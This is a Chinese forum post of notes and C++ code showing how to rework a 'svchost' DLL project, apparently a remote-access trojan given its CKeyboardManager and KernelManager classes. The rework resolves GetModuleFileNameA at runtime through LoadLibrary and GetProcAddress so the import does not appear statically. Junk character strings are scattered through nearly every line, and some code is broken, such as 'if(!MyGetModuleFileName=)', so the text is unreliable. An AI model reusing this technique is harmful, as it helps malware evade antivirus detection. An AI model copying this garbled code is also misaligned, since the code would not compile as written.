返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记: Y8 z6 j. l' T! s
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
8 E$ `) ^; E( g: G----------------------------------------) M. P8 Q) C$ d2 K2 O( \4 C  m7 v
DTDY.h:
7 z0 V& M( c8 c4 b- b4 N! Q
4 y8 o- _* w0 P#if _MSC_VER>1000& V2 M4 y- S, Z+ |
#pragma once% z$ [2 L- B2 ?3 C. y0 `6 _  B/ b
#endif //_MSC_VER>1000
$ c% B% W$ [4 E# i( Z#include<windows.h>
% X& W+ G% h5 |
1 m+ t( X2 O1 a2 L+ m3 H" Ttypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);! q( W) I% \: C% v  \: M  n
class DTDY; z; T% K1 c: K# J- Z
{( j- b2 G' y' c3 y% x
public:7 |0 V6 T( s! @; k5 y
DTDY();
/ {* y6 A/ h8 c# F- O! Rvirtual ~DTDY();
+ K" r. ]& k8 E! _* f" fpublic:8 q% X. B# c2 i$ X  S
static pGetModuleFileNameA MyGetModuleFileName;
4 L( p5 R2 V" ~6 R% }& R. \static BOOL FunInitiallization();
5 A' E$ H" b, R3 c: W# I. s};
" x) C/ B  T6 W  @( m. C' A8 M6 j# W; ^#endif
* t3 ]; r/ A9 ^2 k----------------------------------------
+ p2 ]& s3 ?- l3 F2 i4 J1 Z$ ^" K" b6 a4 |) E" i" o* T$ k2 p
DTDY.cpp:
' l" k; m% i* R3 ?( Z2 Y* x' E4 |0 C: u7 `
#include "DTDY.h"
# e  x5 k7 w# `' }pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
9 ~. w* W4 f/ W5 L6 F/ K; ?DTDY:TDY()" S7 [0 o( ^- K. F  S. ^8 a+ w
{
, }" n. v0 a9 c3 C}
. p6 H! {/ z% Q" V) r6 Z, b$ s9 A/ Y! y. FDTDY::~DTDY()
2 U* V3 `, K  H{
4 e& c5 x5 U! M2 ^}* ]% Y/ Z4 ?4 a# M$ v
BOOL DTDY::FunInitiallization()- Y% a& ]2 s( P2 u8 ^' c
{: E. O  ~! i* m/ ^3 }" k
HMODULE hModule=LoadLibrary("kernel32.dll");
+ U1 X+ A! D0 u+ I$ z0 B  kMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");  ~) C/ ^+ g' k. \6 F: L6 A# W; C
if(!MyGetModuleFileName=) return FALSE;) {* t3 W0 w9 B0 ?3 S7 G

7 q4 V2 z# @9 ^; Y& ~return TRUE;* |  f. j! s) L' h& T
}5 O! b$ K/ X: M! ?5 V! [# d1 R
----------------------------------------
$ ^7 g2 @3 U: q0 j. V' R8 u+ ksvchost.cpp:
- R5 W% _) R, B# w# P$ e9 L8 y: N7 l0 U& \
#include "DTDY.h"7 v2 B5 x% I: U' y. I
. P1 e  |% o) N% u. o4 k
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)  i9 n4 D' D/ [1 d. v
{
# r% S# E6 k: l  Cswitch(ul_reason_for_call)# ~: P/ z6 W7 w3 Z; ?
{
4 `: r2 `+ \2 Tcase DLL_PROCESS_ATTACH:
; m% J  ]- L$ k! e+ ^if(!DTDY::FunInitiallization()) return FALSE;8 A' F& P3 v8 k# s# f9 P

* N+ A0 m% t5 ^' J! cbreak;
( c3 A7 D6 A6 Y- l}( n- j9 o0 c. [! h  ]* I* z& n
}
# A3 ^" L3 I4 q% v% Z9 G6 G4 D+ G+ j* Y- c4 c1 P
% X2 p8 A3 n: w* X8 U+ N5 B
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
2 Q- J% u% E: L改写为
5 T. F" N6 a6 e, M; ?6 h8 mDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
; l, U( d+ M' g  _# c0 {  w8 h- e, \----------------------------------------% B9 p: N' p6 P. j5 i
KernelManager.cpp:4 I3 O; L: }  ^

4 i/ L4 i4 `8 V9 L9 r- z# ]#include "../DTDY.h"
8 \3 V7 f1 E% {0 d0 _GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
; S* P: S) U: o! v$ c# P% O$ t改写为
4 B* T) I1 P$ E0 N4 {: p% u% |5 cDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
! s; F, S8 x4 a. U3 o# I  H  q----------------------------------------

返回列表